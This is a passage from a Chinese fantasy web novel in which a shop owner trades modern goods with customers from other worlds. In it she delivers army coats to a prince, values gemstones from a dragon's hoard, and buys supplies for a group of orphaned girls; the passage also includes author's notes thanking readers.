云昭昭为了傅问的名誉，只能全部交待出来。 “傅、傅教授那时候还是大学生，跟他的爸妈去我们村子考古，当时要招村民帮忙筛土做些杂活，日结工资。 我那时辍学在家，干家务干农活，什么都做，奶奶觉得筛土和家务没两样，于是找到考古队的人吵了好久，硬把我塞进去帮忙，想要那份钱。” “傅教授看我是小孩子，不同意我干活，每天安排工作的时候都绕开我，催我回家。 可不干活就拿不到钱，回家奶奶会揍我。 我没办法，只能每天去考古队等机会，大概是我天天去，傅教授后来问我怎么不去上学。” 陷入回忆，云昭昭说话声带着哽咽。 “他听说我辍学，送了我一些课本，不忙的时候会给我讲课。 他告诉我找到机会一定要去读书，读书才能离开那个村子。 后来他发现我在考古队拿不到钱回家挨揍，他自己出钱，让我回家骗奶奶，说那是我的工资。” 误会了，这是真好人。 萧妧妧尴尬地缩了缩脖子，面色讪讪地坐回沙发上。 “其实，我能回去上学，还是傅教授帮忙想的办法呢。” “他知道我家重男轻女，奶奶一心想着把我卖出去赚钱，傅教授故意把我赶回家，换奶奶去考古队干活，再联合考古队其他哥哥姐姐在奶奶面前演了一出。 我不知道那些天发生了什么，他们一直没告诉我。 后来奶奶果然改了主意，嚷嚷着要送去读书，最好读到高中，这样能换来更高的彩礼。” 萧妧妧想起来了，确实有辍学两年这回事。 当时她决定资助云昭昭时，学校老师拿云昭昭曾因家庭原因辍过学为由，认为她“不稳定”，随时可能被家里人带走，再度中断学业，希望萧妧妧重新选择稳妥的男孩子。 萧妧妧拒绝了，老师又说，女生年满十八岁，大概率要送走嫁人，云昭昭根本读不了几年书，她执意资助云昭昭，大概率是白花钱，不如选一个有希望考大学的男孩子。 萧妧妧气得呼哧呼哧直喘气，可惜那时候年纪小，没见过什么世面，口才跟不上，不懂如何辩驳。 她大喊着“她不考大学我也愿意，我就要选她”，然后气呼呼冲过去拉着云昭昭不撒手。 云昭昭刚满二十岁，正常情况来说，差不多该读大二大三，真要说起来，她和黎行墨其实只差一级。 和季随、傅问的年纪，仍旧有些差距。 “所以不是喜欢，是感恩？”萧妧妧总结道。 云昭昭忽略心底的异样，肯定地点头。 萧妧妧这回算是全部弄明白了，第三个野男人绝对是傅问。 小黄文她看多了，套路她懂。 “我选择嗑你和傅问，至少目前看来，除了年纪大，他没什么毛病。 而且，他是个好人。” 好人这一点是权重非常高的加分项。 “妧妧姐！我只是想找机会当面谢谢他。”云昭昭脸颊涨红，半晌后，她小声反驳：“傅教授的年纪也没有很大，才三十岁而已。” 云昭昭想，肯定是她脚踩两条船被妧妧姐看出来，所以认定她是海王，坚信她是见一个渣一个的那种人。 她鼓了鼓腮帮，都是黎行墨和季随的错！ 他们不守男德，看见她就贴上来，害得她犯错，被迫当渣女。 萧妧妧拍拍肩，笑容微妙。 都懂都懂，谢着谢着就睡一起了，当她没看过小黄文似的。 “妧妧姐，你笑得好奇怪……”云昭昭挪了挪屁股。 萧妧妧回神：“涉.黄？我哪里涉.黄了！” 云昭昭：…… 萧妧妧清清嗓子，转移话题：“真想看看黎行墨的反应。” 说起来巧合，黎行墨和云昭昭正打得火热，白月光从天而降，刺激！ 萧妧妧想犯法，疯狂想在云昭昭身上按个摄像头，全天转播。 严格的说，黎行墨除了年纪和云昭昭相当，性格方面差远了，和黎行聿比，更像是家里溺爱大的小霸王。 她隐约记得，云昭昭和黎行墨因为性格发生过几次争吵，但小黄文嘛，总有特别方法度过磨合期。 提起黎行墨，云昭昭苦恼叹气，她没有朋友可以倾诉，索性说给萧妧妧听。 “学长他……太霸道了，又自以为是，有时候根本不尊重我的意见。” “有时候”是什么时候？是她想的那个时候吗？ 萧妧妧扣了扣耳朵，睁大眼睛，这是我能听的吗？ “他有时候挺烦人的，幼稚得要死，总为一些小事争吵。”云昭昭深呼吸，恢复轻快语调：“但这些在我看来不算大问题，他是除了妧妧姐以外，唯一一个会坚定选择我的人。 他比我自己更加相信我。” 萧妧妧默了默，不知道该接什么话。 她不禁反思，为什么要把自己的想法套在云昭昭身上。 如果云昭昭所缺失的，另一半能完美补足，其他的，或许没那么重要。 她开心就好。 “萧老板，萧老板！货到了。” 正吃着瓜，小卖部外面一连声呼喊传来。 萧妧妧一看时间，应该是布料以及龙傲天那批军大衣到了，只差最后一批，与龙傲天的这一笔交易算是彻底完成。 “妧妧姐，我来帮你。” 云昭昭把压在心里的情绪统统翻出来晾晒，浑身轻松，跟上去帮忙搬货。 【作者有话说】 我是发财树，我叫旺财 感谢大家对复仇进度的关心，V我营养液，复仇计划抢先看！ 感谢读者“清若”,灌溉营养液1复仇进度增加0.0000001% 感谢读者“我一直在坑底观望”,灌溉营养液 5复仇进度增加0.0000005% 感谢读者“杨旷旷”,灌溉营养液5复仇进度增加0.0000005% 感谢读者“阿葡就是葡萄味的猫猫”,灌溉营养液10复仇进度增加0.0000010% 感谢读者“月白”,灌溉营养液10复仇进度增加0.0000010% 感谢读者“哦了瓦特了”,灌溉营养液20复仇进度增加0.0000020% 感谢读者“我喜欢肖战”,灌溉营养液10复仇进度增加0.0000010% 感谢读者“迪丽肉包”,灌溉营养液 1复仇进度增加0.0000001% 感谢读者“catle”,灌溉营养液1复仇进度增加0.0000001% 感谢读者“似风”,灌溉营养液122复仇进度增加0.0000122% 感谢读者“黎迷蝶舞”,灌溉营养液 46复仇进度增加0.0000046% 感谢读者“不啻微茫”,灌溉营养液 60复仇进度增加0.0000060% 感谢读者“红彤彤的小玫瑰”,灌溉营养液10复仇进度增加0.0000010% 感谢读者“要长高”,灌溉营养液 1复仇进度增加0.0000001% 感谢读者“多来点我爱看”,灌溉营养液5复仇进度增加0.0000005% 99 第99章 ◎爱丽丝的报酬◎ “妧妧姐,你怎么买这么多东西？” 云昭昭惊呆了，她以为是普通的便利店补货，看到门口两辆货车，发现自己小瞧了小卖部的经营状况。 “这不是谈了个大客户,订单多嘛,赚点差价。”萧妧妧含糊过去。 布料倒是好说,走廊下足够放,压缩包装的军大衣才是大麻烦，一大包有一米高,份量还不轻，需萧妧妧和云昭昭两人扛进店。 搬货的师傅来回两趟,她们俩勉强能搬一包。 吭哧吭哧忙了将近两小时，两车货全部卸干净,不算小的188号院子几乎堆满，小卖部里更是只剩下走动的空间。 萧妧妧从没觉得188号如此紧凑逼仄,忙催云昭昭回去。 云昭昭巴巴望着她,扭扭捏捏地问：“妧妧姐,你有傅教授的联系方式吗？” 萧妧妧无语斜她一眼,在她期待目光中掏出手机。 “我有他爸的联系方式、知道他的银行账号……”等云昭昭面露失望,萧妧妧哼哼笑：“不过，我知道傅问的社交账号。” 萧妧妧说话大喘气，云昭昭跟着坐了一趟过山车。 “这不是……妧妧姐你的电子老师吗？” 一旦闲下来，萧妧妧见缝插针恶补古董圈的各种知识、资讯。 书本太厚她懒得看,多数选择视频，不问算是她常听的博主之一。 看到视频账号,云昭昭意外不已,原来那位科普教学古董知识的网红博主,竟然就是她心心念念的傅问。 难怪上次听他讲课声音耳熟。 “对，就是他，再私人一点的联系方式，我可就没办法了。” 云昭昭捣鼓手机，关注了傅问，欢欣雀跃地说：“已经足够了，谢谢妧妧姐。” 萧妧妧想起什么，突然道：“我记得你选的专业是A大的文物修复，不会是……” 这很难不多想。 云昭昭背着双手，像做错事的孩子，迎着萧妧妧的目光，缓缓点头承认。 萧妧妧撇撇嘴，果然和傅问有关。 倒也能理解，傅问所做的一切说是拯救了云昭昭的人生都不为过，云昭昭把他当榜样，对文物、历史、考古有所向往，人之常情。 “妧妧姐放心，我不是一时冲动做的决定。 我认真考虑过，比起历史考古，我是喜欢文物修复的。 我的性格太过懦弱，不擅长社交，我的家庭条件又是那样的情况，文物修复是最适合我的。” 萧妧妧很喜欢她这一点，头脑足够清晰，知道自己的优劣势，在可选择范围内筛选最佳选项。 到了一天中最热的时候，萧妧妧催她回家，自己留下关门暂停营业，把满当当的东西转移进空间。 萧妧妧为难的想，客房租出去了，少了一个灵活使用的区域，只有院子和小卖部，看着挺大，真用起来好像也就那样。 她在院中来回扫视，丈量着面积，鬼使神差的，她动了买院子的念头。 不需要多好，在188号左右两边最佳，两套院子打通，既宽敞，又能招待更多客人。 她这些天在联系靠谱的木工师傅，想要打造一台木质织布机，针对古代位面客户售卖。 这玩意挺占地方，演示的时候需要宽敞空间，好在目前没师傅接单，倒也不着急，可以拿3D打印的小模型代替展览。 再就是一些改良农具，多种多样，塞空间里浪费位置，摆出来吧，小卖部空间不足，陈列显得过于混乱，挺头疼。 如果店铺面积扩大，正好可以分出两个区域，一半面对普通顾客，一半面向异世界客人，互不打扰。 萧妧妧盘算即将下单以及以后可能下单的大家伙，越发心动。 但……左边是刘叔的水果店，店面和院子一体，是一家人为数不多的不动产，大概率不卖。 右边是某连锁茶饮店，和188号比起来面积稍小一些。 房型和188差不太多，前面一个六十平的铺面，后面一间七十平的院子，看屋顶构造，应该配了两、三间小房间。 面积来说隔壁189号最适合，可惜人家生意做得好好的，房东不一定愿意卖。 “萧老板，大衣什么时候到齐？孤那边快扛不住了，军心涣散，大忌啊！” 胡思乱想的时候，龙傲天着急忙慌*地跑进来催促。 萧妧妧回神：“你来得巧，最后一批军大衣刚到。” 操作系统，选择待发送货物，找到历史坐标，三千件军大衣眨眼间消失。 龙傲天扭头一看结界，失去包装膜的大衣堆铺成山，肉眼可见的速度膨胀。 “好好好！这下有救了。”龙傲天欣喜，俯身一揖，“多谢萧老板相助，孤……” “等等！”萧妧妧打断他的客套话：“上次商量金矿的事还记得吧？喏，协议签了。签完我给你资料。” 龙傲天大喜，眼睛圆睁。 萧妧妧说要给技术给方案，好几天没动静，想着两个世界时间有差，或许萧老板那里才过去几个小时，龙傲天只得按捺住。 “签！我签！”激动的忘记自称孤了。 萧妧妧提醒：“协议由系统拟定，一旦签字画押，即刻生效，如果违反，买卖双方要承担违约责任。” 涉及金钱交易，系统相关的功能设置太多太繁杂，萧妧妧花了点时间研究，勉强弄明白一点。 买卖双方违约的惩罚力度不同，卖方违约，暂停营业一月，时间以本位面为准。 买方违约惩罚略重，半年不得进行任何交易，但不阻止客户进出交易场所，主打一看只看看不能买。 当然，如果卖方心里不爽拉黑顾客，也是可以的，让他连门都进不来。 至于违约后的赔偿金额，主要看协议是否列出，没有单独写出来，则默认跟着系统规矩走。 有单独设定违约赔偿条件，系统会监督违约方履行赔偿，如果拒绝赔偿，禁止交易时长加倍。 对卖家还好，买家方面稍微严格了些。 龙傲天一听说有惩罚机制，还是他最怕的禁止交易，心里一颤。 前段时间过的什么日子，他心里门清，小卖部的存在对他而言太重要了。 “孤在此起誓，绝对不会出现违约情况，如有违背誓言，天打五雷轰。” 条件早就商量好，龙傲天自觉是笔划算买卖，根本没有反悔的意思，发起誓来情真意切，言之凿凿。 萧妧妧撇撇嘴，尽发些不能实现的誓。 毛笔、墨条、砚台、印尼，她准备齐全，协议搁在柜台上，萧妧妧做出请的手势。 龙傲天提笔，蘸墨，先是嫌弃一番，根本不看协议内容，果断写下自己名字，按手印。 萧妧妧用不惯毛笔，圆珠笔龙飞凤舞签下自己名字。 龙傲天昧着良心夸：“好字！” 萧妧妧听不下去，协议递给他一份，自己留一份。 “去吧，东西已经送过去了。模具在制作中，晚点送去。” 对上龙傲天期盼的眼神，萧妧妧示意结界对面。 龙傲天喜不自禁，扭头离开。 跨过结界，他绕着废弃矿坑转了一圈又一圈，扒开衣服、掀开箱子，好一通找，总算在山似的军大衣堆里发现一扁木匣。 一把扯掉中看不中用的锁，匣子里平铺一沓纸。 他扒拉一通，揉搓感受一番，大约有半册《论语》那么厚，再粗略一扫，里面配有文字和简笔画。 龙傲天不懂冶炼，但确认过内容，有提及燃料的选择和风箱的改造，萧老板没有糊弄他。 激动片刻，龙傲天控制不住地咧起嘴，情绪缓和后，匣子啪嗒一下合拢，宝贝似地揣进胸口。 他巡视一遍坑洞，确保没有不该出现的东西，萧老板把物资打理的非常符合古代背景，遂放心出了洞，命随行护卫回去传信。 “让小林将军带人来，多带些，孤在矿坑里准备了些军需。” 护卫大喜过望，这是有食物了？难怪太子殿下不允许他们声张，背着人数次前往查看。 “不止粮草，厚实衣物也备下了，速速回去召集人手，赶在明日开拔前把东西带走。” 护卫哎了一声，差点要掉眼泪。 干粮不足，水源上冻，全靠雪化水，马匹累得几乎无法前进，太子殿下带领的这一只精锐竟被蛮夷耗得精疲力尽。 三千精锐是为避开蛮夷追击，护送太子前往临近的歧州城，与大军汇合，结果大家险些困死在此。 兄弟们私下里多有抱怨，虽未明说，但那意思表明的清楚，怨怪太子无能，类似将士。 小林将军几番鼓舞士气，架不住环境恶劣，大家吃不饱穿不暖，武器不足，又有追兵，几乎丧失斗志。 何况太子殿下这一路行来，不顾下属反对硬要拖着一个大木箱上山涉水，激怒了不少人。 这段时日，他没少听众人诉苦，什么“殿下耽于享乐”“不懂带兵，不如小林将军”“不体恤将士”等等评价。 护卫有苦说不出，殿下倒是提过几次，箱子里装着救命的东西，不能丢，只是里面到底有什么，护卫队没一个知道。 反正死沉死沉，要不是轮换着抬，胳膊迟早脱臼。 护卫心绪飞扬，脚步不慢，一路奔跑回到简陋营地。 小林将军在伙房，为粮草一事发愁，军医又来报，有几个将士冻晕过去了，得快点离开这冷死人的深山。 小林将军愁得叹气，这一仗也太难了。 八成把握能赢的局势，弄成如今凄惨局面，葬送几座城的无辜百姓与将士，到头来，不过是皇储间争权夺利，殃及池鱼。 小林将军心凉了半截，不管谁赢，对天下而言都不算什么好事。 “将军！太子殿下传信，命人前往山坳矿坑搬粮草。” 小林将军以为自己幻听，“搬什么？” 护卫：“粮草！” “哪来的粮草？”小林将军疑惑。 其中隐秘他是知道的，军械被人掉包，粮草半道让人截了，送来的只有一半不到，全靠太子殿下母族送来的什么饼干撑着，度过了危机。 小林将军对此保持怀疑，怀疑太子殿下陷害七皇子，再营造出雪中送炭的局面，抬高母族，顺势拉拢人心。 直到父亲那边传信，粮草一事确有蹊跷，和太子没关系，背后有七皇子的手笔，让他做好心理准备。 什么准备，小林将军明了，心中不由绝望。 太子殿下或许早有准备，然而都到了这等境地，也没见他的后手，小林将军料想他没辙了。 这才几日，怎么突然多出来一批粮草？ 心中纳闷，小林将军却不敢耽搁，挑百来个好手向矿坑奔去。 龙傲天终于等来人，让大家加把劲，天黑之前物资分发下去。 “棉衣一人一件，尔等先穿着，速速派人送回去分发到众将士手中。” “米面抬去伙房，告诉伙夫，蒸一锅浓稠米粥，给大家暖暖身子。” “冻上的羊肉全煮了，今晚喝羊汤！给大家补补。” 龙傲天高兴极了，大手一挥，安排物资如何使用。 围着矿坑傻愣着的将士一个个目瞪口呆。 不是，这些东西哪来的？ 小林将军代替大家问出口。 龙傲天清清嗓子，矜持开口：“孤听闻边州天气苦寒，担忧路上不畅通，贻误军机，提前请舅舅采买军需藏在附近几处矿坑，以防万一。 也是巧了，困在山上这几日，恰好找到了其中一处。” 小林将军过于震惊不错，但还是有脑子的，并不相信龙傲天所言。 他上前查看一番，有箭支，有伤药，有宰杀好冻上的肉，最醒目的是那一堆绿色棉衣。 这么多东西，短期内难以筹集，看起来确实提前准备的不错。 难道真是如此？ 小林将军心中越发疑惑，看着一堆堆不太常见的物资，除了相信龙傲天的说法，实在找不到别的可能。 “搬！传令下去，太子殿下犒赏众将士，今晚吃米粥，喝羊汤。” 小林将军发话，大家轰的一下热闹起来，欢呼声在矿坑里炸开。 原本死气沉沉的队伍，如今每个人脸上洋溢着快活。 龙傲天本是为私欲如此行事，见到将士这番情态，不禁动容。 小林将军不着痕迹收回观察目光，对龙傲天改观稍许。 “棉衣和大米先送回去，再叫更多人来帮忙。”小林将军想起有冻晕的将士，忍不住催促。 这个天气冻晕，多半活不下去，救人要紧。 一声吩咐，大家忙得热火朝天。 “哇……好暖和的衣裳。” “瞧这做工，结实得很！” 有龙傲天发话，冻得受不了的将士们率先给自己套上军大衣，再忙着干活。 冷飕飕时不觉得，穿上没多久发现衣服抗风又保暖，领子竖起扣紧，连脖子也暖融融，舒坦。 此起彼伏的惊叹声传来，龙傲天越发得意。 直到他看见小林将军拧眉，接过军大衣好奇翻看内里。 龙傲天早有准备，上前背草稿：“小林将军，这棉大衣可了不得，孤派人寻了多年才得来的宝贝。 等这一仗打完再宣告天下，小林将军可要为孤保密啊。 有此物，是我朝百姓的福气。” 小林将军将信将疑，值得宣告天下的宝贝？ ………… “演得挺像那么一回事的。” 龙傲天摆起太子架子确实唬人，甭管他的话可信度高不高，反正没人敢质疑。 东西真真切切摆在眼前，更没什么好质疑的。 看了一会热闹，萧妧妧收回视线，结界画面渐渐淡去。 查漏补缺，萧妧妧忙着继续采购点物资补充仓库，雕花木门吱呀一声推开。 “萧老板，这些可以当做报酬吗？” 爱丽丝挎着沉甸甸的旅行袋穿过结界，圆溜溜的金色脑袋呆呆地探过来。 【作者有话说】 99章啦，采访一下各位，会不会觉得节奏快了或者慢了？后面可以调整一下：D PS：感谢大家的关心，发财树复仇进度飞速增加~ 读者“芝麻汤圆”,灌溉营养液+105 复仇进度增加0.0000105% 读者“蓁蓁”,灌溉营养液+10 复仇进度增加0.0000010% 读者“Bubububles”,灌溉营养液+10复仇进度增加0.0000010% 读者“南歌子”,灌溉营养液+1 复仇进度增加0.0000001% 读者“迪丽肉包”,灌溉营养液+1 复仇进度增加0.0000001% 读者“乌龙蜜茶”,灌溉营养液+10 复仇进度增加0.0000010% 读者“小露珠”,灌溉营养 +1 复仇进度增加0.0000001% 读者“”,灌溉营养液+10 复仇进度增加0.0000010% 读者“catle”,灌溉营养液+1 复仇进度增加0.0000001% 读者“婷婷”,灌溉营养液 +1 复仇进度增加0.0000001% 读者“新鲜瓜藤”,灌溉营养液+35 复仇进度增加0.0000035% 读者“江下明月影”,灌溉营养液+10复仇进度增加0.0000010% 读者“清若”,灌溉营养液 +1 复仇进度增加0.0000001% 读者“柚子乌龙”,灌溉营养液+1 复仇进度增加0.0000001% 100 第100章 ◎帕拉伊巴◎ 可爱,想撸！ 萧妧妧不自觉泛起姨母笑，招招手让她进来。 爱丽丝攥着挎包肩带，走动间丁零当啷响，她摘下包的瞬间,咣的一声砸在地上。 萧妧妧听到清脆响声,好奇问：“里面都是什么？” 爱丽丝皱着脸,喘着粗气,强忍腿部灼痛缓缓蹲下，拉开拉链,献宝似的把挎包往萧妧妧脚边推了推。 “是金币，”她小心翼翼从裙子口袋里掏出一包东西,展开手帕，双手捧起：“还有宝石。” 萧妧妧更好奇了,先蹲下身扒拉挎包。 她随手拽开布料，塞得爆满的金币顿时哗啦啦滚落,围绕她脚边铺开。 萧妧妧只觉得眼前一闪,小卖部瞬间金碧辉煌,富丽堂皇起来…… 享受了一会被金币包围的幸福感,捡起几枚端详。 没有白瓷砖和顶部射灯衬托,落在手心里的金币有点灰扑扑，看起来纯度不高，而且大小并不一致，刻纹略显粗糙,和魔幻电影里见到亮瞎眼的金币完全不一样。 像超市里的金币巧克力，有点廉价感。 萧妧妧难掩失望,转念一想,这一包金币全融了,其实也挺值钱，不少了。 爱丽丝见她盯着金币瞧，捧着宝石往萧妧妧面前送了送，提醒她看重点。 萧妧妧这才想起来去看未经打磨，颜色不够鲜亮，甚至有些奇形怪状的宝石。 火彩什么的当然是不存在，灯光下隐约看出净度很好，颜色非常漂亮，关键是它们很大，一枚宝石瞧着能有一两百克拉。 如果是名贵宝石，那可太值钱了。 爱丽丝失落的小声解释：“地堡很大，里面全是金币，我进不去，只捡来这些。” 她身形瘦弱，腿部有伤，不方便爬金币山，于是在墙角位置一通乱扒，捡到什么算什么。 “萧老板放心，地堡深处有宝石头冠，有项链，还有权杖，我会想办法的。” 那些看起来昂贵的宝石随意扔在金币堆里，她心有余力不足，哪怕力足也不行，太过深入恶龙巢穴，会留下气息，被恶龙发现行踪。 到时候别说反杀，怎么存活都是一个难题。 萧妧妧终于逮到机会，一巴掌按在爱丽丝后脑勺，轻轻地揉了两把。 “你的报酬我很满意，足够支付那些食物了。” 爱丽丝眼睛亮晶晶，笑容乖巧又灿烂。 “那我可以再买些包子吗？她们很喜欢。” 萧妧妧比了个OK手势，马上点外卖。 “你的裙子坏了，我找了几家店挑来几件相似的款式，试试看？”萧妧妧从柜台下拎出购物袋递去，“你不是要杀龙吗，裙子不方便行动，我准备了一些裤子和上衣，应该用得上。” 爱丽丝惊喜极了，没想到会有新衣服穿，翠绿眼眸像有着顶级火彩的绿宝石，莹莹闪烁。 她扑到萧妧妧怀里，轻轻环抱，即刻松开。 “我需要给多少报酬？”她忐忑地仰头问。 萧妧妧：“送你的，是礼物。” 看到可爱小女孩谁能不双标啊，她比柳如烟还要小几岁呢，大概是初中生的年纪。 她身上的长裙毁得不像样，虽然不知道爱丽丝那里的风俗，但严格说起来，是属于衣不蔽体的范畴。 一想到那栋幽暗潮湿的古堡，光着两条腿在那里生活，迟早得风湿。 萧妧妧挑选衣服的时候单纯为她担心，并没有想过要换什么东西。 爱丽丝第一次收到礼物，开心极了，抱着袋子不撒手。 “我去换衣服，很快回来。” 她拽了拽萧妧妧的手，知会一声，脚步飞快的穿过结界。 店里再次安静下来，萧妧妧找来专用台灯，仔细看看爱丽丝送来的宝石。 她对宝石了解并不算多，一边查资料一边学习，耗费了一点时间确认宝石的品类。 四枚宝石，颜色各不相同。 先说饱和度很高的浅蓝色那枚，重量和她估算的差不太多，一百八十八克拉。 未打磨的原石色彩和示例有些许出入，萧妧妧好不容易确定它是碧玺后，心生失望。 目前为止，她没见过颜色、净度、切工全部达到完美的碧玺，便宜的她手里倒是有不少。 也因此，萧妧妧潜意识认为碧玺卖不上好价格。 直到她深入比对，发现手里这枚碧玺是帕拉伊巴，并且颜色达到了NeonBlue级别，根正苗蓝。 萧妧妧倒吸一口气，心情瞬间发生了翻天覆地的变化。 帕拉伊巴是她所在位面的叫法，产自巴西，放在爱丽丝那里不知道如何称呼，萧妧妧找来找去，基本可以判定，是帕拉伊巴无疑。 举个通俗的例子，帕拉伊巴是碧玺中的爱马仕，可以说是最昂贵的一种碧玺，段位和帝王绿相当。 种种因素影响，帕拉伊巴产量锐减，近乎绝矿。 也因为数量稀缺，目前的市场上，它的价格一天一个变化，涨到无法控制的程度，比房价高峰期涨得还要离谱数倍，战绩拍卖行可查。 如此高的保值增值属性，帕拉伊巴一经问世，得到众多藏家青睐。 高品质的帕拉伊巴基本在珠宝商、二级市场、个人收藏家手里，市面上难得见到。 换句话说，这枚宝石只要留在手里，行情不崩的前提下，比换成现金存银行赚得多，是萧妧妧的最稳妥的养老保险之一。 手里这枚一百八十八克拉的帕拉伊巴更为罕见，饱和度高，颜色顶级，好好切割设计一番，绝对惊艳。 3克拉的帕拉伊巴能拍出大几百万的价，几十上百克拉，不得上天？ 犹豫两秒，萧妧妧决定用估价系统，看看它到底能有多昂贵。 稍等一会，图片弹出，看到远超她心里预期的估价，不禁愣住。 “8000万！” 帕拉伊巴有裂纹很正常，在灯光下看到几条细丝一样的裂纹，萧妧妧放平心态，对它的期待一降再降。 一两千万吧，不能再多了。 看到价格那一刻，萧妧妧脸疼，她承认是自己没见过世面。 估价8000万仅仅是对她手上的原石，说明它的颜色和品质过关，起码是顶级。 切掉裂纹，再请大师精心打磨，哪怕最后成品只剩下一半的重量，卖出手的话，8000万再加个零也是轻而易举。 果然不管什么品种的宝石，只要是顶级，绝对便宜不到哪去。 她真拿这么大的帕拉伊巴送去加工，只怕要吓死人吧？ 萧妧妧按着噗通噗通的心脏，深呼吸，平复情绪后拨弄下一枚宝石。 这是一枚橙色蓝宝石，克重达到208克拉，四枚中最重的。 先不管它档次高低，这么大属实罕见，萧妧妧抱有很高期待，捧到灯光下看了又看，资料翻了又翻。 颜色有一点橙，又有一点点粉，比例一半一半，灯光下的表现，看起来像莲花色帕帕拉恰，又像橙粉色帝王托帕。 萧妧妧一时间不能完全确定它到底是什么。 肉眼看颜色有点相似，但两者克价差距可不小。 是天堂还是地狱，真不好说。萧妧妧心里实在好奇，一咬牙，再次估价。 这次的速度好像快了一些，两秒不到弹出图片，视线下移，看到4400万的估价，萧妧妧放下心的同时，惊讶的咦了一声。 “又是一个好东西。” 不出差错，大概率是莲花色帕帕拉恰，又叫帕德玛刚玉。 它是蓝宝石中非常稀有的品种，冷门但绝对够惊艳的一种宝石，色泽会令人联想到落日与仙女，是一款非常适合女性佩戴的彩宝，切割设计后价格可以迈进亿的门槛。 帕帕拉恰对颜色混合比例要求严格，但凡手里这枚颜色再粉一点或橙一点，它们就要被叫做粉色蓝宝或者橙色蓝宝，由此可见帕帕拉恰有多稀少。 唯一不好的是，天然帕帕拉恰会褪色，她需要送去做色彩稳定性测试。 萧妧妧捏起帕帕拉恰在无名指上比划一会，好看确实好看，像小仙女，倒是没看出有多适合女性，显黑。 208克拉戴在手上，几乎是行走的一套别墅，高调又惹眼。 萧妧妧惊喜了一会，暂且放下帕帕拉恰，转而去看颜色略深的稍小红色宝石。 稍小是与前两枚对比，单拎出来看可不小，足有一百四十克拉。 萧妧妧一度幻想过会不会又是一枚鸽血红，想到爱丽丝说，这些是她随手捡来的，便不太敢想了。 随手捡来四个，已经有两个重量级，剩下两个总不能都是吧？她运气还没这么逆天。 带着这份不确定，萧妧妧很认真地翻找资料，对比几回，发现和一种叫卢比莱的碧玺更贴近，心里有一点点小失望。 不是碧玺第一梯队的，好像不太值钱的样子。 但是很快，看到估价后，这份失望消失无踪——1420万！ 数清后面有几个零，萧妧妧没忍住，哈哈大笑。 比上不足比下有余，能有1400万已经很了不得。 “不愧是恶龙的宝藏，确实是宝贝。” 萧妧妧想，她要是有恶龙的眼光该有多好。 轮到最后一枚宝石，难度直线降低。 因为变彩效果特别，颜色绚丽，像一幅浓艳的油画，萧妧妧快速对应上。 这是一枚黑欧泊，净重160克拉，原石形状很不规则。 越是顶级的黑欧泊，色彩越是美丽，萧妧妧怎么看，手里这块都算得上顶级，只是看不清内里瑕疵，切垮还是切涨，很难说。 当然，她对宝石的认识不够，一切只是自己的瞎判断。 萧妧妧咬咬牙，又一次估价。 有前几枚打底，她对最后一枚宝石的期待不低，在千万元左右。 看到估价的时候，萧妧妧这下是真的失望了。 估价不高不低，卡在900万。 不过关系不大，切割一下，设计设计，卖出千万不在话下。 当下的市场行情，欧泊价格一直在稳定增长，能达到将近千万级别，也很不错，萧妧妧挺满意。 左看看右看看，每一枚宝石都是不可多得的珍品，她的眼光也是越来越好了，价格由高到低，依次选中。 贵确实有贵的道理，帕拉伊巴在这四枚原石里实在美丽的过分，哪怕它未经雕琢。 就算造假也不敢造这么大的，太稀有了。 而它们，仅用百十个包子馒头和一些杂货换来，价值不过百来块。 萧妧妧越想越是克制不住，嘴角咧到后脑勺。 不愧是西幻，宝石随处可见，爱丽丝一出手就是值钱的大家伙。 想要把它们切割出惊艳众人的成品，要时间更要好的工艺，短期内根本做不到。 萧妧妧左思右想，索性放弃，收藏原石也挺好。 时间好说，半年一年她等得起，只是要找好的设计师和匠人，恐怕需要请专业团队。 萧妧妧没那个精力，暗自可惜一会。 “萧老板，你看。” 刚收起宝石，爱丽丝慢吞吞穿进小卖部。 她换上了工装长裤和长袖上衣，看起来和精神许多。 为了换新衣服，爱丽丝特意擦洗过身上，连头发也冲洗过，湿漉漉，金灿灿。 萧妧妧一拍脑门，想起自己忽略了什么。 发育期的小姑娘需要准备内.衣了，爱丽丝的上衣里穿着自己的束腰马甲，再套一件上衣，显得臃肿又奇怪。 “小孩子需要穿束腰吗？”夸赞两句，萧妧妧上手摸了一把爱丽丝的腰，这也太影响发育了。 爱丽丝红了红脸，小声说：“是她们送我上山前准备的衣服。” 顿了顿，爱丽丝不好意思的开口请求：“萧老板，我可以多买些衣服吗？还有鞋子、毯子、油灯……” 算上她，古堡里一共十八个孩子，她们穿得单薄，只能缩在酒窖互相取暖，饿得不行时结伴进林子找些食物和柴火。 有了柴火也不能放肆使用，要担心恶龙察觉，大家活得小心翼翼。 萧妧妧面露不忍，流浪汉过得比她们幸福多了。 “我来准备，不需要报酬。” 急用，萧妧妧选择外卖跑腿，超市里能买到的毯子被子席子床垫等，通通按照人数下单。 都是女孩子，年纪小，萧妧妧选了鲜亮粉嫩的颜色，挑了几十套宽松舒适的毛绒居家服和外出的外套裤子。 鞋子不确定尺寸，大的小的薄的厚的一股脑买了几十双。 油灯不好买，小卖部有卖蜡烛和打火机，上回分给申明月大部分，只剩下百来根，应该够爱丽丝她们用上一阵子。 灯罩好解决，巷子里卖传统纸扎灯笼的摊位不少，出了门就有，先买几个凑合一下足够了。 哦，还有内.衣裤。 萧妧妧又看一眼结界，城堡的某个废弃房间，连家具被植物贯穿覆盖，肉眼可见的地方布满青苔野草。 这么一看，她们缺的东西真不少，锅碗瓢盆和米面粮油，日化用品以及卫生用品，无一不缺。 萧妧妧第一次采购这么零碎的东西，许多不起眼的生活用品很容易忽略。 好在她准备充足，大半东西提前备好，锅碗瓢盆现买也来得及。 因为东西太多，萧妧妧分了附近五家超市下单，保证每家都能快速备货，一小时内送达。 “可是……我不会做饭。” 询问爱丽丝平时都吃些什么，她好多准备点食材送过去，爱丽丝苦恼地搓了搓手。 萧妧妧挠挠脸，这下是真有点为难了。 爱丽丝一个人好说，可以在小卖部蹭饭，剩下那些孩子难道每顿吃外卖？ 一次两次好说，次数多了麻烦不说，萧妧妧不在店铺的时候没人帮得上忙，难不成要教爱丽丝用手机？ “我的意思时，我可以跟您学做饭吗？”她垂着头，手指搅弄衣角：“您这里的食物很好吃。” 萧妧妧松了一口气，还好是学做饭，不是请她做饭。 拍拍她肩膀安抚，萧妧妧下单食材调味料，找来平板下载简单的食谱，汤水类、可以一锅煮的食物最佳。 考虑到她们生活在密林里，萧妧妧一边计划采购清单，一边科普用火注意事项。 说到一半的时候，她才想起来下载一些野外生活的小技巧，以及野生可食用的动植物与菌类。 